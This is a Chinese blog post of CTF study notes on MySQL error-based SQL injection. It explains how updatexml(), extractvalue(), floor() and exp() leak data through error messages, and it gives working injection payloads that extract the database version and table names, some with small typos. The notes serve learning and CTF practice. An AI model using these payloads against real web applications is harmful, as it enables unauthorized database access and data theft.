抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

报错注入

之前都是做题中积累经验,感觉自己的基础薄弱。大部分时候都是看别人的WP才能做题。最近在看一本《CTF训练营》,补一补基础,做笔记。

报错注入的条件

  • 可回显
  • 回显有报错信息
  • 过滤不严格(希望WAF不行)

绕过是个麻烦事儿,这里暂且假设没有任何过滤。

报错注入使用的函数

updatexml()

1
2
3
4
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document,String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml()的第二个参数为Xpath格式的字符串,当其不属于Xpath语法时就会报错,报错内容显示出该参数不符合Xpath语法。

1
2
mysql> SELECT updatexml(1, concat(Ox7e,(SELECT version()),0x7e),1);
ERROR 1105 (HY00O): XPATH syntax error: ' -5.6.26~ ' #成功爆出数据库版本

于是,通过改变updatexml()的第二个参数,可以执行SQL语句查数据库、查表、等等。

extractvalue()

1
2
3
EXTRACTVALUE (XML_document, XPath_string); 
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

extractvalue()从XML中返回包含查询值的字符串。通过extractvalue()实现报错注入的原理与updatexml()十分类似。都是通过参数不符合Xpath的语法,实现报错注入。

1
2
mysql> SELECT 1,2 and extractvalue(1,concat(Ox7e,(SELECT version()),0x7e));
ERROR 1105 (HY00O): XPATH syntax error: ' -5.6.26~ ' #成功爆出数据库版本

floor()

floor()函数只有一个参数。

floor函数的作用是返回小于等于该值的最大整数,即向下取整,只保留整数部分。

1
2
3
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_ schema.tables limit 0,1),floor(rand(0)*2))x from information_ schema.tables group by x)a)%23

#来源于《CTF训练营》

可爆出数据库版本。

exp()

exp()函数只有一个参数。

此函数返回e(自然对数的底)指数X的幂值。但是当传递的参数大于709时,就会发生溢出错误。

正确执行函数返回0,对0按位取反可以得到很大的数“18446744073709551615”,故可以构造注入语句。

1
id=1' an exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

参考链接

SQL注入 | exp()函数报错

《CTF训练营》

评论